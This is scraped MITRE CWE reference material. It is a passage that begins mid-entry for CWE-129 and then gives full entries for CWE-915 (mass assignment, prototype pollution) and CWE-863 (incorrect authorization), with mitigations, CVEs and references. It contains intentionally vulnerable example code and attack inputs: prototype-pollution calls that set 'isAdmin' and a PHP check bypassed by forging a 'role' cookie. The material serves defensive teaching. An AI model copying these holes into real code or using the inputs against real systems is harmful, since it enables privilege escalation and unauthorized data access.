This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Notes

Relationship

This weakness can precede uncontrolled memory allocation (CWE-789) in languages that automatically expand an array when an index is used that is larger than the size of the array, such as JavaScript.

Theoretical

An improperly validated array index might lead directly to the always-incorrect behavior of "access of array using out-of-bounds index."

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Unchecked array indexing
PLOVER			INDEX - Array index overflow
CERT C Secure Coding	ARR00-C		Understand how arrays work
CERT C Secure Coding	ARR30-C	CWE More Specific	Do not form or use out-of-bounds pointers or array subscripts
CERT C Secure Coding	ARR38-C		Do not add or subtract an integer to a pointer if the resulting value does not refer to a valid array element
CERT C Secure Coding	INT32-C		Ensure that operations on signed integers do not result in overflow
SEI CERT Perl Coding Standard	IDS32-PL	Imprecise	Validate any integer that is used as an array index
OMG ASCSM	ASCSM-CWE-129
Software Fault Patterns	SFP8		Faulty Buffer Access

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-100	Overflow Buffers

References

[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 5, "Array Indexing Errors" Page 144. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.

[REF-96] Jason Lam. "Top 25 Series - Rank 14 - Improper Validation of Array Index". SANS Software Security Institute. 2010-03-12. <https://web.archive.org/web/20100316064026/http://blogs.sans.org/appsecstreetfighter/2010/03/12/top-25-series-rank-14-improper-validation-of-array-index/>. URL validated: 2023-04-07.

[REF-60] "PaX". <https://en.wikipedia.org/wiki/Executable_space_protection#PaX>. URL validated: 2023-04-07.

[REF-61] Microsoft. "Understanding DEP as a mitigation technology part 1". <https://msrc.microsoft.com/blog/2009/06/understanding-dep-as-a-mitigation-technology-part-1/>. URL validated: 2023-04-07.

[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 5: Buffer Overruns." Page 89. McGraw-Hill. 2010.

[REF-64] Grant Murphy. "Position Independent Executables (PIE)". Red Hat. 2012-11-28. <https://www.redhat.com/en/blog/position-independent-executables-pie>. URL validated: 2023-04-07.

[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-129. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.

[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.

[REF-1332] John Richard Moser. "Prelink and address space randomization". 2006-07-05. <https://lwn.net/Articles/190139/>. URL validated: 2023-04-26.

[REF-1335] D3FEND. "Segment Address Offset Randomization (D3-SAOR)". 2023. <https://d3fend.mitre.org/technique/d3f:SegmentAddressOffsetRandomization/>. URL validated: 2023-04-26.

[REF-1336] D3FEND. "Process Segment Execution Prevention (D3-PSEP)". 2023. <https://d3fend.mitre.org/technique/d3f:ProcessSegmentExecutionPrevention/>. URL validated: 2023-04-26.

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	CLASP
2006-07-19 (CWE Draft 3, 2006-07-19)
Modifications
Modification Date	Modifier	Organization
2008-07-01	Sean Eidemiller	Cigital
2008-07-01	added/updated demonstrative examples
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Alternate_Terms, Applicable_Platforms, Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2008-11-24	CWE Content Team	MITRE
2008-11-24	updated Relationships, Taxonomy_Mappings
2009-01-12	CWE Content Team	MITRE
2009-01-12	updated Common_Consequences
2009-10-29	CWE Content Team	MITRE
2009-10-29	updated Description, Name, Relationships
2009-12-28	CWE Content Team	MITRE
2009-12-28	updated Applicable_Platforms, Common_Consequences, Observed_Examples, Other_Notes, Potential_Mitigations, Theoretical_Notes, Weakness_Ordinalities
2010-02-16	CWE Content Team	MITRE
2010-02-16	updated Applicable_Platforms, Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, Potential_Mitigations, References, Related_Attack_Patterns, Relationships
2010-04-05	CWE Content Team	MITRE
2010-04-05	updated Related_Attack_Patterns
2010-06-21	CWE Content Team	MITRE
2010-06-21	updated Common_Consequences, Potential_Mitigations, References
2010-09-27	CWE Content Team	MITRE
2010-09-27	updated Potential_Mitigations, Relationship_Notes, Relationships
2010-12-13	CWE Content Team	MITRE
2010-12-13	updated Demonstrative_Examples, Observed_Examples, Potential_Mitigations
2011-03-29	CWE Content Team	MITRE
2011-03-29	updated Common_Consequences, Demonstrative_Examples, Weakness_Ordinalities
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2011-06-27	CWE Content Team	MITRE
2011-06-27	updated Relationships
2011-09-13	CWE Content Team	MITRE
2011-09-13	updated Relationships, Taxonomy_Mappings
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Demonstrative_Examples, Potential_Mitigations, References, Relationships
2012-10-30	CWE Content Team	MITRE
2012-10-30	updated Potential_Mitigations
2014-02-18	CWE Content Team	MITRE
2014-02-18	updated Potential_Mitigations, References
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships, Taxonomy_Mappings
2015-12-07	CWE Content Team	MITRE
2015-12-07	updated Relationships
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Causal_Nature, References, Relationships, Taxonomy_Mappings
2018-03-27	CWE Content Team	MITRE
2018-03-27	updated References
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated References, Relationships, Taxonomy_Mappings
2019-09-19	CWE Content Team	MITRE
2019-09-19	updated Potential_Mitigations
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Potential_Mitigations, Relationships, Taxonomy_Mappings
2020-06-25	CWE Content Team	MITRE
2020-06-25	updated Demonstrative_Examples, Potential_Mitigations, Relationships, Type
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Potential_Mitigations, Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-03-15	CWE Content Team	MITRE
2021-03-15	updated References, Relationships
2022-10-13	CWE Content Team	MITRE
2022-10-13	updated References, Relationships, Taxonomy_Mappings
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Potential_Mitigations, References, Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes
Previous Entry Names
Change Date	Previous Entry Name
2009-10-29	Unchecked Array Indexing

Weakness ID: 915

View customized information:

Description

Extended Description

If the object contains attributes that were only intended for internal use, then their unexpected modification could lead to a vulnerability.

This weakness is sometimes known by the language-specific mechanisms that make it possible, such as mass assignment, autobinding, or object injection.

Alternate Terms

Mass Assignment:	"Mass assignment" is the name of a feature in Ruby on Rails that allows simultaneous modification of multiple object attributes.
AutoBinding:	The "Autobinding" term is used in frameworks such as Spring MVC and ASP.NET MVC.
PHP Object Injection:	Some PHP application researchers use this term for attacking unsafe use of the unserialize() function, but it is also used for CWE-502.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	913	Improper Control of Dynamically-Managed Code Resources
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	1321	Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
PeerOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	502	Deserialization of Untrusted Data

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	399	Resource Management Errors

Modes Of Introduction

Phase	Note
Architecture and Design
Implementation

Applicable Platforms

Languages

Ruby (Undetermined Prevalence)

ASP.NET (Undetermined Prevalence)

PHP (Undetermined Prevalence)

Python (Undetermined Prevalence)

Class: Not Language-Specific (Undetermined Prevalence)

Common Consequences

Scope	Impact	Likelihood
Integrity	Technical Impact: Modify Application Data An attacker could modify sensitive data or program variables.
Integrity	Technical Impact: Execute Unauthorized Code or Commands
Other Integrity	Technical Impact: Varies by Context; Alter Execution Logic

Demonstrative Examples

Example 1

This function sets object attributes based on a dot-separated path.

(bad code)

Example Language: JavaScript

function setValueByPath (object, path, value) {

const pathArray = path.split(".");
const attributeToSet = pathArray.pop();
let objectToModify = object;
for (const attr of pathArray) {

if (typeof objectToModify[attr] !== 'object') {

objectToModify[attr] = {};
}

objectToModify = objectToModify[attr];
}

objectToModify[attributeToSet] = value;
return object;
}

This function does not check if the attribute resolves to the object prototype. These codes can be used to add "isAdmin: true" to the object prototype.

(bad code)

Example Language: JavaScript

setValueByPath({}, "__proto__.isAdmin", true)
setValueByPath({}, "constructor.prototype.isAdmin", true)

By using a denylist of dangerous attributes, this weakness can be eliminated.

(good code)

Example Language: JavaScript

function setValueByPath (object, path, value) {

const pathArray = path.split(".");
const attributeToSet = pathArray.pop();
let objectToModify = object;
for (const attr of pathArray) {

// Ignore attributes which resolve to object prototype
if (attr === "__proto__" || attr === "constructor" || attr === "prototype") {

continue;
}

if (typeof objectToModify[attr] !== "object") {

objectToModify[attr] = {};
}

objectToModify = objectToModify[attr];
}

objectToModify[attributeToSet] = value;
return object;
}

Observed Examples

Reference	Description
CVE-2012-2054	Mass assignment allows modification of arbitrary attributes using modified URL.
CVE-2012-2055	Source version control product allows modification of trusted key using mass assignment.
CVE-2008-7310	Attackers can bypass payment step in e-commerce product.
CVE-2013-1465	Use of PHP unserialize function on untrusted input allows attacker to modify application configuration.
CVE-2012-3527	Use of PHP unserialize function on untrusted input in content management system might allow code execution.
CVE-2012-0911	Use of PHP unserialize function on untrusted input in content management system allows code execution using a crafted cookie value.
CVE-2012-0911	Content management system written in PHP allows unserialize of arbitrary objects, possibly allowing code execution.
CVE-2011-4962	Content management system written in PHP allows code execution through page comments.
CVE-2009-4137	Use of PHP unserialize function on cookie value allows remote code execution or upload of arbitrary files.
CVE-2007-5741	Content management system written in Python interprets untrusted data as pickles, allowing code execution.
CVE-2011-2520	Python script allows local users to execute code via pickled data.
CVE-2005-2875	Python script allows remote attackers to execute arbitrary code using pickled objects.
CVE-2013-0277	Ruby on Rails allows deserialization of untrusted YAML to execute arbitrary code.
CVE-2011-2894	Spring framework allows deserialization of objects from untrusted sources to execute arbitrary code.
CVE-2012-1833	Grails allows binding of arbitrary parameters to modify arbitrary object properties.
CVE-2010-3258	Incorrect deserialization in web browser allows escaping the sandbox.
CVE-2008-1013	Media library allows deserialization of objects by untrusted Java applets, leading to arbitrary code execution.

Potential Mitigations

Phase: Implementation

If available, use features of the language or framework that allow specification of allowlists of attributes or fields that are allowed to be modified. If possible, prefer allowlists over denylists.

For applications written with Ruby on Rails, use the attr_accessible (allowlist) or attr_protected (denylist) macros in each class that may be used in mass assignment.

Phases: Architecture and Design; Implementation

Phase: Implementation

Strategy: Input Validation

For any externally-influenced input, check the input against an allowlist of internal object attributes or fields that are allowed to be modified.

Phases: Implementation; Architecture and Design

Strategy: Refactoring

Refactor the code so that object attributes or fields do not need to be dynamically identified, and only expose getter/setter functionality for the intended attributes.

Weakness Ordinalities

Ordinality	Description
Primary	(where the weakness exists independent of other weaknesses)

Detection Methods

Automated Static Analysis

Effectiveness: High

Memberships

Nature	Type	ID	Name
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1340	CISQ Data Protection Measures
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1354	OWASP Top Ten 2021 Category A08:2021 - Software and Data Integrity Failures
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1415	Comprehensive Categorization: Resource Control

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Notes

Maintenance

The relationships between CWE-502 and CWE-915 need further exploration. CWE-915 is more narrowly scoped to object modification, and is not necessarily used for deserialization.

References

[REF-885] Stefan Esser. "Shocking News in PHP Exploitation". 2009. <https://owasp.org/www-pdf-archive/POC2009-ShockingNewsInPHPExploitation.pdf>. URL validated: 2023-04-07.

[REF-886] Dinis Cruz. ""Two Security Vulnerabilities in the Spring Framework's MVC" pdf (from 2008)". <http://diniscruz.blogspot.com/2011/07/two-security-vulnerabilities-in-spring.html>. URL validated: 2023-04-07.

[REF-887] Ryan Berg and Dinis Cruz. "Two Security Vulnerabilities in the Spring Framework's MVC". <https://o2platform.files.wordpress.com/2011/07/ounce_springframework_vulnerabilities.pdf>. URL validated: 2023-04-07.

[REF-888] ASPNETUE. "Best Practices for ASP.NET MVC". 2010-09-17. <https://web.archive.org/web/20100921074010/http://blogs.msdn.com/b/aspnetue/archive/2010/09/17/second_2d00_post.aspx>. URL validated: 2023-04-07.

[REF-889] Michael Hartl. "Mass assignment in Rails applications". 2008-09-21. <https://web.archive.org/web/20090808163156/http://blog.mhartl.com/2008/09/21/mass-assignment-in-rails-applications/>. URL validated: 2023-04-07.

[REF-890] Tobi. "Secure your Rails apps!". 2012-03-06. <https://pragtob.wordpress.com/2012/03/06/secure-your-rails-apps/>. URL validated: 2023-04-07.

[REF-891] Heiko Webers. "Ruby On Rails Security Guide". <https://guides.rubyonrails.org/security.html#mass-assignment>. URL validated: 2023-04-07.

[REF-892] Josh Bush. "Mass Assignment Vulnerability in ASP.NET MVC". 2012-03-05. <https://web.archive.org/web/20120309022539/http://freshbrewedcode.com/joshbush/2012/03/05/mass-assignment-aspnet-mvc>. URL validated: 2023-04-07.

[REF-893] K. Scott Allen. "6 Ways To Avoid Mass Assignment in ASP.NET MVC". 2012-03-12. <https://odetocode.com/blogs/scott/archive/2012/03/11/complete-guide-to-mass-assignment-in-asp-net-mvc.aspx>. URL validated: 2023-04-07.

[REF-894] Egidio Romano. "PHP Object Injection". 2013-01-22. <https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection>. URL validated: 2023-04-07.

[REF-464] Heine Deelstra. "Unserializing user-supplied data, a bad idea". 2010-08-25. <https://drupalsun.com/heine/2010/08/25/unserializing-user-supplied-data-bad-idea>. URL validated: 2023-04-07.

[REF-466] Nadia Alramli. "Why Python Pickle is Insecure". 2009-09-09. <http://michael-rushanan.blogspot.com/2012/10/why-python-pickle-is-insecure.html>. URL validated: 2023-04-07.

Content History

Submissions
Submission Date	Submitter	Organization
2013-01-26 (CWE 2.4, 2013-02-21)	CWE Content Team	MITRE
2013-01-26 (CWE 2.4, 2013-02-21)
Contributions
Contribution Date	Contributor	Organization
2013-01-26	Dan Amodio, Dave Wichers	Aspect Security
2013-01-26	Suggested adding mass assignment, provided references, and clarified relationship with AutoBinding.
Modifications
Modification Date	Modifier	Organization
2013-07-17	CWE Content Team	MITRE
2013-07-17	updated References
2017-05-03	CWE Content Team	MITRE
2017-05-03	updated Potential_Mitigations
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated References
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Relationships
2020-06-25	CWE Content Team	MITRE
2020-06-25	updated Alternate_Terms, Potential_Mitigations
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-10-28	CWE Content Team	MITRE
2021-10-28	updated Relationships
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description, Observed_Examples
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Detection_Factors, References, Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes
2024-02-29 (CWE 4.14, 2024-02-29)	CWE Content Team	MITRE
2024-02-29 (CWE 4.14, 2024-02-29)	updated Demonstrative_Examples

Weakness ID: 863

Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.

View customized information:

Description

Extended Description

When access control checks are incorrectly applied, users are able to access data or perform actions that they should not be allowed to perform. This can lead to a wide range of problems, including information exposures, denial of service, and arbitrary code execution.

Alternate Terms

AuthZ:	"AuthZ" is typically used as an abbreviation of "authorization" within the web application security community. It is distinct from "AuthN" (or, sometimes, "AuthC") which is an abbreviation of "authentication." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	285	Improper Authorization
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	551	Incorrect Behavior Order: Authorization Before Parsing and Canonicalization
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	639	Authorization Bypass Through User-Controlled Key
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	647	Use of Non-Canonical URL Paths for Authorization Decisions
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	804	Guessable CAPTCHA
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	942	Permissive Cross-domain Policy with Untrusted Domains
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1244	Internal Asset Exposed to Unsafe Debug Access Level or State

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	639	Authorization Bypass Through User-Controlled Key

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1011	Authorize Actors

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ChildOf	Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.	284	Improper Access Control

Background Details

Modes Of Introduction

Phase

Note

Architecture and Design

Authorization weaknesses may arise when a single-user application is ported to a multi-user environment.

Implementation

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Operation

Applicable Platforms

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Web Server (Often Prevalent)

Database Server (Often Prevalent)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Technical Impact: Read Application Data; Read Files or Directories An attacker could read sensitive data, either by reading the data directly from a data store that is not correctly restricted, or by accessing insufficiently-protected, privileged functionality to read the data.
Integrity	Technical Impact: Modify Application Data; Modify Files or Directories An attacker could modify sensitive data, either by writing the data directly to a data store that is not correctly restricted, or by accessing insufficiently-protected, privileged functionality to write the data.
Access Control	Technical Impact: Gain Privileges or Assume Identity; Bypass Protection Mechanism An attacker could gain privileges by modifying or reading critical data directly, or by accessing privileged functionality.

Likelihood Of Exploit

High

Demonstrative Examples

Example 1

The following code could be for a medical records application. It displays a record to already authenticated users, confirming the user's authorization using a value stored in a cookie.

(bad code)

Example Language: PHP

$role = $_COOKIES['role'];
if (!$role) {

$role = getRole('user');
if ($role) {

// save the cookie to send out in future responses
setcookie("role", $role, time()+60*60*2);

}
else{

ShowLoginScreen();
die("\n");

}

}
if ($role == 'Reader') {

DisplayMedicalHistory($_POST['patient_ID']);

}
else{

die("You are not Authorized to view this record\n");

}

The programmer expects that the cookie will only be set when getRole() succeeds. The programmer even diligently specifies a 2-hour expiration for the cookie. However, the attacker can easily set the "role" cookie to the value "Reader". As a result, the $role variable is "Reader", and getRole() is never invoked. The attacker has bypassed the authorization system.

Observed Examples

Reference	Description
CVE-2021-39155	Chain: A microservice integration and management platform compares the hostname in the HTTP Host header in a case-sensitive way (CWE-178, CWE-1289), allowing bypass of the authorization policy (CWE-863) using a hostname with mixed case or other variations.
CVE-2019-15900	Chain: sscanf() call is used to check if a username and group exists, but the return value of sscanf() call is not checked (CWE-252), causing an uninitialized variable to be checked (CWE-457), returning success to allow authorization bypass for executing a privileged (CWE-863).
CVE-2009-2213	Gateway uses default "Allow" configuration for its authorization settings.
CVE-2009-0034	Chain: product does not properly interpret a configuration option for a system group, allowing users to gain privileges.
CVE-2008-6123	Chain: SNMP product does not properly parse a configuration option for which hosts are allowed to connect, allowing unauthorized IP addresses to connect.
CVE-2008-7109	Chain: reliance on client-side security (CWE-602) allows attackers to bypass authorization using a custom client.
CVE-2008-3424	Chain: product does not properly handle wildcards in an authorization policy list, allowing unintended access.
CVE-2008-4577	ACL-based protection mechanism treats negative access rights as if they are positive, allowing bypass of intended restrictions.
CVE-2006-6679	Product relies on the X-Forwarded-For HTTP header for authorization, allowing unintended access by spoofing the header.
CVE-2005-2801	Chain: file-system code performs an incorrect comparison (CWE-697), preventing default ACLs from being properly applied.
CVE-2001-1155	Chain: product does not properly check the result of a reverse DNS lookup because of operator precedence (CWE-783), allowing bypass of DNS-based access restrictions.

Potential Mitigations

Phase: Architecture and Design

Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.

Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.

Phase: Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].

Phase: Architecture and Design

Phases: System Configuration; Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

Detection Methods

Automated Static Analysis

Generally, automated static analysis tools have difficulty detecting custom authorization schemes. Even if they can be customized to recognize these schemes, they might not be able to tell whether the scheme correctly performs the authorization in a way that cannot be bypassed or subverted by an attacker.

Effectiveness: Limited

Automated Dynamic Analysis

Automated dynamic analysis may not be able to find interfaces that are protected by authorization checks, even if those checks contain weaknesses.

Manual Analysis

Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.

Effectiveness: Moderate

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Web Application Scanner

Web Services Scanner

Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Host Application Interface Scanner

Fuzz Tester

Framework-based Fuzzer

Forced Path Execution

Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	813	OWASP Top Ten 2010 Category A4 - Insecure Direct Object References
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	817	OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	866	2011 Top 25 - Porous Defenses
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	884	CWE Cross-section
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1396	Comprehensive Categorization: Access Control
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1425	Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses

Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
ISA/IEC 62443	Part 4-1	Req SD-4
ISA/IEC 62443	Part 4-2	Req CR 2.1
ISA/IEC 62443	Part 4-2	Req CR 2.2
ISA/IEC 62443	Part 3-3	Req SR 2.1
ISA/IEC 62443	Part 3-3	Req SR 2.2
ISA/IEC 62443	Part 4-1	Req SVV-1
ISA/IEC 62443	Part 4-1	Req SVV-4
ISA/IEC 62443	Part 4-1	Req SD-1

References

[REF-229] NIST. "Role Based Access Control and Role Based Security". <https://csrc.nist.gov/projects/role-based-access-control>. URL validated: 2023-04-07.

[REF-233] Rahul Bhattacharjee. "Authentication using JAAS". <https://javaranch.com/journal/2008/04/authentication-using-JAAS.html>. URL validated: 2023-04-07.

[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.

[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Common Vulnerabilities of Authorization", Page 39. 1st Edition. Addison Wesley. 2006.

Content History

Submissions
Submission Date	Submitter	Organization
2011-05-24 (CWE 1.13, 2011-06-01)	CWE Content Team	MITRE
2011-05-24 (CWE 1.13, 2011-06-01)
Contributions
Contribution Date	Contributor	Organization
2023-11-14 (CWE 4.14, 2024-02-29)	participants in the CWE ICS/OT SIG 62443 Mapping Fall Workshop
2023-11-14 (CWE 4.14, 2024-02-29)	Contributed or reviewed taxonomy mappings for ISA/IEC 62443
Modifications
Modification Date	Modifier	Organization
2011-06-27	CWE Content Team	MITRE
2011-06-27	updated Demonstrative_Examples, Related_Attack_Patterns, Relationships
2011-09-13	CWE Content Team	MITRE
2011-09-13	updated Potential_Mitigations, References, Relationships
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated References, Relationships
2012-10-30	CWE Content Team	MITRE
2012-10-30	updated Potential_Mitigations
2013-02-21	CWE Content Team	MITRE
2013-02-21	updated Description
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Detection_Factors
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Applicable_Platforms, Modes_of_Introduction, References, Relationships
2018-03-27	CWE Content Team	MITRE
2018-03-27	updated References
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Relationships
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-03-15	CWE Content Team	MITRE
2021-03-15	updated Alternate_Terms
2021-07-20	CWE Content Team	MITRE
2021-07-20	updated Observed_Examples
2021-10-28	CWE Content Team	MITRE
2021-10-28	updated Relationships
2022-10-13	CWE Content Team	MITRE
2022-10-13	updated Observed_Examples
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description, Potential_Mitigations
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated References, Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes, Relationships
2024-02-29 (CWE 4.14, 2024-02-29)	CWE Content Team	MITRE
